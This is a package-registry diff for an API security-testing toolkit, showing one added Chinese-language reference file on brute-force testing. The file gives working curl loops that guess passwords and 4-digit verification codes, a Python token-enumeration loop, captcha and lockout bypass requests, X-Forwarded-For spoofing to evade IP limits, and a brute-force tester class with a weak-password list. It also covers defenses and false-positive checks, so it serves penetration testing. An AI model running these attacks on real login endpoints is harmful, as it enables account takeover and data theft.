opencode-api-security-testing 3.0.10 → 3.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +74 -0
- package/SKILL.md +1797 -0
- package/core/advanced_recon.py +788 -0
- package/core/agentic_analyzer.py +445 -0
- package/core/analyzers/api_parser.py +210 -0
- package/core/analyzers/response_analyzer.py +212 -0
- package/core/analyzers/sensitive_finder.py +184 -0
- package/core/api_fuzzer.py +422 -0
- package/core/api_interceptor.py +525 -0
- package/core/api_parser.py +955 -0
- package/core/browser_tester.py +479 -0
- package/core/cloud_storage_tester.py +1330 -0
- package/core/collectors/__init__.py +23 -0
- package/core/collectors/api_path_finder.py +300 -0
- package/core/collectors/browser_collect.py +645 -0
- package/core/collectors/browser_collector.py +411 -0
- package/core/collectors/http_client.py +111 -0
- package/core/collectors/js_collector.py +490 -0
- package/core/collectors/js_parser.py +780 -0
- package/core/collectors/url_collector.py +319 -0
- package/core/context_manager.py +682 -0
- package/core/deep_api_tester_v35.py +844 -0
- package/core/deep_api_tester_v55.py +366 -0
- package/core/dynamic_api_analyzer.py +532 -0
- package/core/http_client.py +179 -0
- package/core/models.py +296 -0
- package/core/orchestrator.py +890 -0
- package/core/prerequisite.py +227 -0
- package/core/reasoning_engine.py +1042 -0
- package/core/response_classifier.py +606 -0
- package/core/runner.py +938 -0
- package/core/scan_engine.py +599 -0
- package/core/skill_executor.py +435 -0
- package/core/skill_executor_v2.py +670 -0
- package/core/skill_executor_v3.py +704 -0
- package/core/smart_analyzer.py +687 -0
- package/core/strategy_pool.py +707 -0
- package/core/testers/auth_tester.py +264 -0
- package/core/testers/idor_tester.py +200 -0
- package/core/testers/sqli_tester.py +211 -0
- package/core/testing_loop.py +655 -0
- package/core/utils/base_path_dict.py +255 -0
- package/core/utils/payload_lib.py +167 -0
- package/core/utils/ssrf_detector.py +220 -0
- package/core/verifiers/vuln_verifier.py +536 -0
- package/package.json +1 -1
- package/references/README.md +72 -0
- package/references/asset-discovery.md +119 -0
- package/references/fuzzing-patterns.md +129 -0
- package/references/graphql-guidance.md +108 -0
- package/references/intake.md +84 -0
- package/references/pua-agent.md +192 -0
- package/references/report-template.md +156 -0
- package/references/rest-guidance.md +76 -0
- package/references/severity-model.md +76 -0
- package/references/test-matrix.md +86 -0
- package/references/validation.md +78 -0
- package/references/vulnerabilities/01-sqli-tests.md +1128 -0
- package/references/vulnerabilities/02-user-enum-tests.md +423 -0
- package/references/vulnerabilities/03-jwt-tests.md +499 -0
- package/references/vulnerabilities/04-idor-tests.md +362 -0
- package/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
- package/references/vulnerabilities/06-biz-logic-tests.md +501 -0
- package/references/vulnerabilities/07-security-config-tests.md +511 -0
- package/references/vulnerabilities/08-brute-force-tests.md +457 -0
- package/references/vulnerabilities/09-vulnerability-chains.md +465 -0
- package/references/vulnerabilities/10-auth-tests.md +537 -0
- package/references/vulnerabilities/11-graphql-tests.md +355 -0
- package/references/vulnerabilities/12-ssrf-tests.md +396 -0
- package/references/vulnerabilities/README.md +148 -0
- package/references/workflows.md +192 -0
|
@@ -0,0 +1,457 @@
|
|
|
1
|
+
# 暴力破解测试
|
|
2
|
+
|
|
3
|
+
## 1. 概述
|
|
4
|
+
|
|
5
|
+
暴力破解(Brute Force)是指通过大量尝试来猜测密码、验证码或 Token 的攻击方式。
|
|
6
|
+
|
|
7
|
+
**危险等级**: 高
|
|
8
|
+
|
|
9
|
+
## 2. 测试点识别
|
|
10
|
+
|
|
11
|
+
### 2.1 常见暴力破解点
|
|
12
|
+
|
|
13
|
+
| 接口 | 参数 |
|
|
14
|
+
|------|------|
|
|
15
|
+
| 登录 | `username`, `password` |
|
|
16
|
+
| 验证码 | `smsCode`, `emailCode`, `captcha` |
|
|
17
|
+
| Token | `token`, `refreshToken` |
|
|
18
|
+
| 密码重置 | `password`, `code` |
|
|
19
|
+
|
|
20
|
+
### 2.2 认证相关接口
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
POST /api/login
|
|
24
|
+
POST /api/phoneLogin
|
|
25
|
+
POST /api/user/register
|
|
26
|
+
POST /api/user/resetPassword
|
|
27
|
+
POST /api/captcha/verify
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## 3. 测试方法
|
|
31
|
+
|
|
32
|
+
### 3.1 登录暴力破解
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# 常见密码TOP100
|
|
36
|
+
passwords=(
|
|
37
|
+
"123456" "123456789" "12345678" "1234567" "password"
|
|
38
|
+
"admin" "admin123" "admin888" "qwerty" "abc123"
|
|
39
|
+
"111111" "666666" "888888" "letmein" "welcome"
|
|
40
|
+
)
|
|
41
|
+
|
|
42
|
+
for pwd in "${passwords[@]}"; do
|
|
43
|
+
curl -X POST "http://api/login" \
|
|
44
|
+
-H "Content-Type: application/json" \
|
|
45
|
+
-d "{\"username\":\"admin\",\"password\":\"$pwd\"}"
|
|
46
|
+
done
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### 3.2 验证码暴力破解
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
# 4位数字验证码:10000种组合
|
|
53
|
+
for code in {0000..9999}; do
|
|
54
|
+
curl -X POST "http://api/captcha/verify" \
|
|
55
|
+
-d "{\"phone\":\"13800138000\",\"code\":\"$code\"}"
|
|
56
|
+
done
|
|
57
|
+
|
|
58
|
+
# 6位数字验证码:1000000种组合(困难)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### 3.3 Token 暴力破解
|
|
62
|
+
|
|
63
|
+
```python
|
|
64
|
+
# 如果 Token 是短字符串
|
|
65
|
+
import string
|
|
66
|
+
import itertools
|
|
67
|
+
|
|
68
|
+
charset = string.ascii_lowercase + string.digits
|
|
69
|
+
for length in range(1, 6):
|
|
70
|
+
for combo in itertools.product(charset, repeat=length):
|
|
71
|
+
token = ''.join(combo)
|
|
72
|
+
resp = requests.get(
|
|
73
|
+
f"http://api/token/validate?token={token}"
|
|
74
|
+
)
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
## 4. 防护检查
|
|
78
|
+
|
|
79
|
+
### 4.1 验证码测试
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
# 1. 是否有验证码?
|
|
83
|
+
POST /api/login
|
|
84
|
+
{"username": "admin", "password": "xxx"}
|
|
85
|
+
# 响应要求 captcha → 有验证码
|
|
86
|
+
|
|
87
|
+
# 2. 验证码是否可为空?
|
|
88
|
+
POST /api/login
|
|
89
|
+
{"username": "admin", "password": "xxx", "captcha": ""}
|
|
90
|
+
# 成功 → 可绕过
|
|
91
|
+
|
|
92
|
+
# 3. 验证码是否过期?
|
|
93
|
+
# 等待2分钟后重放
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### 4.2 失败限制测试
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# 连续10次失败
|
|
100
|
+
for i in {1..10}; do
|
|
101
|
+
curl -X POST "http://api/login" \
|
|
102
|
+
-d "{\"username\":\"admin\",\"password\":\"wrong$i\"}"
|
|
103
|
+
done
|
|
104
|
+
|
|
105
|
+
# 第11次尝试
|
|
106
|
+
curl -X POST "http://api/login" \
|
|
107
|
+
-d "{\"username\":\"admin\",\"password\":\"correct\"}"
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### 4.3 账户锁定测试
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# 5次错误后
|
|
114
|
+
curl -X POST "http://api/login" \
|
|
115
|
+
-d "{\"username\":\"admin\",\"password\":\"correct\"}"
|
|
116
|
+
|
|
117
|
+
# 响应 "账户已锁定" → 有锁定机制
|
|
118
|
+
# 响应正常 → 无锁定或已解锁
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
## 5. 绕过技巧
|
|
122
|
+
|
|
123
|
+
### 5.1 验证码绕过
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# 1. 验证码复用
|
|
127
|
+
# 使用同一个验证码多次尝试
|
|
128
|
+
|
|
129
|
+
# 2. 验证码为空
|
|
130
|
+
POST /api/login
|
|
131
|
+
{"username": "admin", "password": "xxx", "captcha": ""}
|
|
132
|
+
|
|
133
|
+
# 3. 删除验证码参数
|
|
134
|
+
POST /api/login
|
|
135
|
+
{"username": "admin", "password": "xxx"}
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 5.2 IP 限制绕过
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# 使用代理
|
|
142
|
+
# X-Forwarded-For 伪造(如果服务端信任)
|
|
143
|
+
curl -X POST "http://api/login" \
|
|
144
|
+
-H "X-Forwarded-For: 1.1.1.1" \
|
|
145
|
+
-d "{\"username\":\"admin\",\"password\":\"xxx\"}"
|
|
146
|
+
|
|
147
|
+
curl -X POST "http://api/login" \
|
|
148
|
+
-H "X-Forwarded-For: 1.1.1.2" \
|
|
149
|
+
-d "{\"username\":\"admin\",\"password\":\"xxx\"}"
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### 5.3 账户锁定绕过
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
# 锁定的是IP不是账户
|
|
156
|
+
# 每次错误后更换IP
|
|
157
|
+
|
|
158
|
+
# 锁定的是用户名
|
|
159
|
+
# 尝试其他用户名
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
## 6. 防护建议检查表
|
|
163
|
+
|
|
164
|
+
| 防护措施 | 说明 | 安全等级 |
|
|
165
|
+
|----------|------|----------|
|
|
166
|
+
| 图形验证码 | 区分机器和人 | 中 |
|
|
167
|
+
| 滑块验证码 | 区分机器和人 | 高 |
|
|
168
|
+
| 失败次数限制 | 5次/15分钟 | 高 |
|
|
169
|
+
| 账户锁定 | 多次失败后锁定 | 高 |
|
|
170
|
+
| IP 限制 | 限制单IP请求频率 | 中 |
|
|
171
|
+
| 双因素认证 | 需要第二种认证 | 最高 |
|
|
172
|
+
|
|
173
|
+
## 7. 关联漏洞
|
|
174
|
+
|
|
175
|
+
| 后续漏洞 | 利用路径 |
|
|
176
|
+
|----------|----------|
|
|
177
|
+
| 账户接管 | 破解密码后直接登录 |
|
|
178
|
+
| 横向移动 | 获取他账号后横向 |
|
|
179
|
+
| 数据泄露 | 登录后获取敏感数据 |
|
|
180
|
+
|
|
181
|
+
## 8. 测试检查清单
|
|
182
|
+
|
|
183
|
+
```
|
|
184
|
+
□ 测试登录暴力破解(常见密码TOP100)
|
|
185
|
+
□ 测试验证码是否存在
|
|
186
|
+
□ 测试验证码是否可绕过
|
|
187
|
+
□ 测试失败次数限制
|
|
188
|
+
□ 测试账户锁定机制
|
|
189
|
+
□ 测试IP限制绕过
|
|
190
|
+
□ 测试锁定绕过
|
|
191
|
+
□ 评估防护措施强度
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
## 9. 误报判断标准
|
|
195
|
+
|
|
196
|
+
### 9.1 核心判断原则
|
|
197
|
+
|
|
198
|
+
```
|
|
199
|
+
【重要】暴力破解测试需要明确区分"有防护"和"无防护"
|
|
200
|
+
|
|
201
|
+
判断逻辑:
|
|
202
|
+
1. 先确认防护措施是否存在
|
|
203
|
+
2. 测试防护措施是否可绕过
|
|
204
|
+
3. 确认绕过后能否实现暴力破解
|
|
205
|
+
|
|
206
|
+
【真实漏洞特征】
|
|
207
|
+
- 无验证码/验证码可绕过
|
|
208
|
+
- 无失败次数限制
|
|
209
|
+
- 账户锁定机制不存在或可绕过
|
|
210
|
+
- IP限制可绕过
|
|
211
|
+
|
|
212
|
+
【正常防护(不是漏洞)】
|
|
213
|
+
- 有验证码且不能绕过
|
|
214
|
+
- 有失败次数限制(5次/15分钟)
|
|
215
|
+
- 有账户锁定机制
|
|
216
|
+
- IP限制正常工作
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### 9.2 curl + 对比验证流程
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# 1. 【必须先执行】测试正常登录
|
|
223
|
+
curl -s -X POST http://api/login \
|
|
224
|
+
-H "Content-Type: application/json" \
|
|
225
|
+
-d '{"username":"admin","password":"correct_password"}' > brute_baseline.json
|
|
226
|
+
|
|
227
|
+
# 2. 测试验证码是否存在
|
|
228
|
+
curl -s -X POST http://api/login \
|
|
229
|
+
-H "Content-Type: application/json" \
|
|
230
|
+
-d '{"username":"admin","password":"wrong"}' > brute_captcha_test.json
|
|
231
|
+
|
|
232
|
+
# 查看是否需要验证码
|
|
233
|
+
grep -i "captcha\|验证码" brute_captcha_test.json
|
|
234
|
+
# 如果有 → 验证码存在(正常)
|
|
235
|
+
# 如果没有 → 可能无验证码(可能是漏洞)
|
|
236
|
+
|
|
237
|
+
# 3. 连续暴力破解测试(10-15次)
|
|
238
|
+
echo "测试暴力破解防护..."
|
|
239
|
+
for i in {1..15}; do
|
|
240
|
+
RESP=$(curl -s -X POST http://api/login \
|
|
241
|
+
-H "Content-Type: application/json" \
|
|
242
|
+
-d "{\"username\":\"admin\",\"password\":\"wrong$i\"}")
|
|
243
|
+
|
|
244
|
+
# 检查是否有锁定/限制
|
|
245
|
+
if echo "$RESP" | grep -qi "锁定\|lock\|限制\|limit"; then
|
|
246
|
+
echo "第$i次: 发现限制机制"
|
|
247
|
+
break
|
|
248
|
+
fi
|
|
249
|
+
|
|
250
|
+
if [ $i -eq 5 ] || [ $i -eq 10 ] || [ $i -eq 15 ]; then
|
|
251
|
+
echo "第$i次: $RESP"
|
|
252
|
+
fi
|
|
253
|
+
done
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### 9.3 暴力破解防护判断矩阵
|
|
257
|
+
|
|
258
|
+
| 测试场景 | 响应 | 是否有防护 | 判断 |
|
|
259
|
+
|----------|------|------------|------|
|
|
260
|
+
| 有验证码 | {"msg":"请输入验证码"} | ✅ 有 | 安全 |
|
|
261
|
+
| 无验证码 | 直接提示密码错误 | ❌ 无 | 漏洞 |
|
|
262
|
+
| 5次后锁定 | {"msg":"账户已锁定"} | ✅ 有 | 安全 |
|
|
263
|
+
| 无限次尝试 | 一直可以尝试 | ❌ 无 | 漏洞 |
|
|
264
|
+
| IP限制 | 提示IP受限 | ✅ 有 | 安全 |
|
|
265
|
+
| IP可绕过 | 更换IP后正常 | ⚠️ 部分绕过 | 需评估 |
|
|
266
|
+
|
|
267
|
+
### 9.4 Python脚本(暴力破解深度测试)
|
|
268
|
+
|
|
269
|
+
```python
|
|
270
|
+
import requests
|
|
271
|
+
import time
|
|
272
|
+
|
|
273
|
+
class BruteForceTester:
|
|
274
|
+
def __init__(self, target):
|
|
275
|
+
self.target = target
|
|
276
|
+
self.attempts = 0
|
|
277
|
+
self.locked = False
|
|
278
|
+
self.captcha_required = False
|
|
279
|
+
|
|
280
|
+
def test_login(self, username, password):
|
|
281
|
+
"""测试登录"""
|
|
282
|
+
resp = requests.post(
|
|
283
|
+
f"{self.target}/login",
|
|
284
|
+
json={"username": username, "password": password}
|
|
285
|
+
)
|
|
286
|
+
self.attempts += 1
|
|
287
|
+
return resp
|
|
288
|
+
|
|
289
|
+
def check_protection(self, response):
|
|
290
|
+
"""
|
|
291
|
+
检查是否有防护机制
|
|
292
|
+
|
|
293
|
+
Returns:
|
|
294
|
+
(has_protection, protection_type, message)
|
|
295
|
+
"""
|
|
296
|
+
text = response.text
|
|
297
|
+
status = response.status_code
|
|
298
|
+
|
|
299
|
+
# 检查验证码
|
|
300
|
+
if '验证码' in text or 'captcha' in text.lower() or '图形验证' in text:
|
|
301
|
+
self.captcha_required = True
|
|
302
|
+
return True, 'captcha', '需要验证码'
|
|
303
|
+
|
|
304
|
+
# 检查账户锁定
|
|
305
|
+
if '锁定' in text or 'lock' in text.lower() or '已停用' in text:
|
|
306
|
+
self.locked = True
|
|
307
|
+
return True, 'lock', '账户已锁定'
|
|
308
|
+
|
|
309
|
+
# 检查频率限制
|
|
310
|
+
if '频繁' in text or 'limit' in text.lower() or '请稍后' in text:
|
|
311
|
+
return True, 'rate_limit', '请求过于频繁'
|
|
312
|
+
|
|
313
|
+
# 检查IP限制
|
|
314
|
+
if 'IP' in text and ('限制' in text or '封禁' in text):
|
|
315
|
+
return True, 'ip_limit', 'IP受限'
|
|
316
|
+
|
|
317
|
+
return False, None, None
|
|
318
|
+
|
|
319
|
+
def brute_force_test(self, username, passwords, max_attempts=10):
|
|
320
|
+
"""
|
|
321
|
+
暴力破解测试
|
|
322
|
+
|
|
323
|
+
判断标准:
|
|
324
|
+
1. 如果有验证码 → 安全(难以暴力破解)
|
|
325
|
+
2. 如果有锁定 → 安全(有防护)
|
|
326
|
+
3. 如果可以无限次尝试 → 漏洞
|
|
327
|
+
"""
|
|
328
|
+
print(f"\n=== 暴力破解测试 ===\n")
|
|
329
|
+
print(f"目标用户: {username}")
|
|
330
|
+
print(f"测试密码数: {len(passwords)}")
|
|
331
|
+
print(f"最大尝试次数: {max_attempts}\n")
|
|
332
|
+
|
|
333
|
+
results = {
|
|
334
|
+
'success': False,
|
|
335
|
+
'password': None,
|
|
336
|
+
'attempts': 0,
|
|
337
|
+
'protection': None,
|
|
338
|
+
'vulnerable': False
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
for i, pwd in enumerate(passwords[:max_attempts]):
|
|
342
|
+
results['attempts'] = i + 1
|
|
343
|
+
|
|
344
|
+
resp = self.test_login(username, pwd)
|
|
345
|
+
has_prot, prot_type, prot_msg = self.check_protection(resp)
|
|
346
|
+
|
|
347
|
+
print(f"[{i+1}] 密码: {pwd[:10]}... | 状态: {resp.status_code}", end='')
|
|
348
|
+
|
|
349
|
+
if has_prot:
|
|
350
|
+
print(f" | 防护: {prot_msg}")
|
|
351
|
+
results['protection'] = prot_type
|
|
352
|
+
if prot_type in ['lock', 'rate_limit', 'ip_limit']:
|
|
353
|
+
break
|
|
354
|
+
else:
|
|
355
|
+
print("")
|
|
356
|
+
|
|
357
|
+
# 检查是否成功登录
|
|
358
|
+
if resp.status_code == 200:
|
|
359
|
+
try:
|
|
360
|
+
data = resp.json()
|
|
361
|
+
if data.get('code') == 0 or data.get('success'):
|
|
362
|
+
print(f"\n[成功] 密码: {pwd}")
|
|
363
|
+
results['success'] = True
|
|
364
|
+
results['password'] = pwd
|
|
365
|
+
break
|
|
366
|
+
except:
|
|
367
|
+
pass
|
|
368
|
+
|
|
369
|
+
# 延时
|
|
370
|
+
time.sleep(0.5)
|
|
371
|
+
|
|
372
|
+
# 判断是否有漏洞
|
|
373
|
+
if not results['success'] and not results['protection']:
|
|
374
|
+
results['vulnerable'] = True
|
|
375
|
+
print(f"\n[漏洞] 可以无限次尝试暴力破解")
|
|
376
|
+
elif results['protection'] == 'captcha':
|
|
377
|
+
print(f"\n[安全] 有验证码防护")
|
|
378
|
+
elif results['protection']:
|
|
379
|
+
print(f"\n[安全] 有{results['protection']}防护")
|
|
380
|
+
|
|
381
|
+
return results
|
|
382
|
+
|
|
383
|
+
def run_tests(self):
|
|
384
|
+
"""执行完整暴力破解测试"""
|
|
385
|
+
# 常见弱密码TOP20
|
|
386
|
+
passwords = [
|
|
387
|
+
"123456", "123456789", "12345678", "password", "admin",
|
|
388
|
+
"admin123", "admin888", "qwerty", "abc123", "666666",
|
|
389
|
+
"888888", "letmein", "welcome", "master", "hello",
|
|
390
|
+
"shadow", "sunshine", "princess", "football", "michael"
|
|
391
|
+
]
|
|
392
|
+
|
|
393
|
+
results = self.brute_force_test("admin", passwords, max_attempts=20)
|
|
394
|
+
|
|
395
|
+
print("\n=== 测试结果 ===")
|
|
396
|
+
print(f"尝试次数: {results['attempts']}")
|
|
397
|
+
print(f"成功登录: {results['success']}")
|
|
398
|
+
print(f"发现防护: {results['protection']}")
|
|
399
|
+
print(f"存在漏洞: {results['vulnerable']}")
|
|
400
|
+
|
|
401
|
+
return results
|
|
402
|
+
|
|
403
|
+
# 使用示例
|
|
404
|
+
if __name__ == "__main__":
|
|
405
|
+
tester = BruteForceTester("http://api")
|
|
406
|
+
results = tester.run_tests()
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
## 10. 实战判断案例
|
|
410
|
+
|
|
411
|
+
### 案例1:有验证码保护
|
|
412
|
+
|
|
413
|
+
```
|
|
414
|
+
【场景】:登录需要验证码
|
|
415
|
+
|
|
416
|
+
curl测试:
|
|
417
|
+
curl -X POST /api/login -d '{"username":"admin","password":"wrong"}'
|
|
418
|
+
→ {"code":1001,"msg":"请输入验证码"}
|
|
419
|
+
|
|
420
|
+
判断:
|
|
421
|
+
- 有验证码机制
|
|
422
|
+
- 难以进行暴力破解
|
|
423
|
+
- 结论:【安全】有适当防护
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
### 案例2:有限制机制
|
|
427
|
+
|
|
428
|
+
```
|
|
429
|
+
【场景】:多次失败后被锁定
|
|
430
|
+
|
|
431
|
+
curl测试:
|
|
432
|
+
连续10次错误密码后
|
|
433
|
+
→ {"code":1002,"msg":"账户已锁定,请15分钟后再试"}
|
|
434
|
+
|
|
435
|
+
判断:
|
|
436
|
+
- 有账户锁定机制
|
|
437
|
+
- 5次失败后触发
|
|
438
|
+
- 结论:【安全】有适当防护
|
|
439
|
+
```
|
|
440
|
+
|
|
441
|
+
### 案例3:可暴力破解(漏洞)
|
|
442
|
+
|
|
443
|
+
```
|
|
444
|
+
【场景】:可以无限次尝试
|
|
445
|
+
|
|
446
|
+
curl测试:
|
|
447
|
+
连续20次错误密码
|
|
448
|
+
→ 每次都返回"用户名或密码错误"
|
|
449
|
+
→ 没有验证码
|
|
450
|
+
→ 没有锁定
|
|
451
|
+
→ 没有限流
|
|
452
|
+
|
|
453
|
+
判断:
|
|
454
|
+
- 可以无限次尝试
|
|
455
|
+
- 密码破解只是时间问题
|
|
456
|
+
- 结论:【确认漏洞】无暴力破解防护
|
|
457
|
+
```
|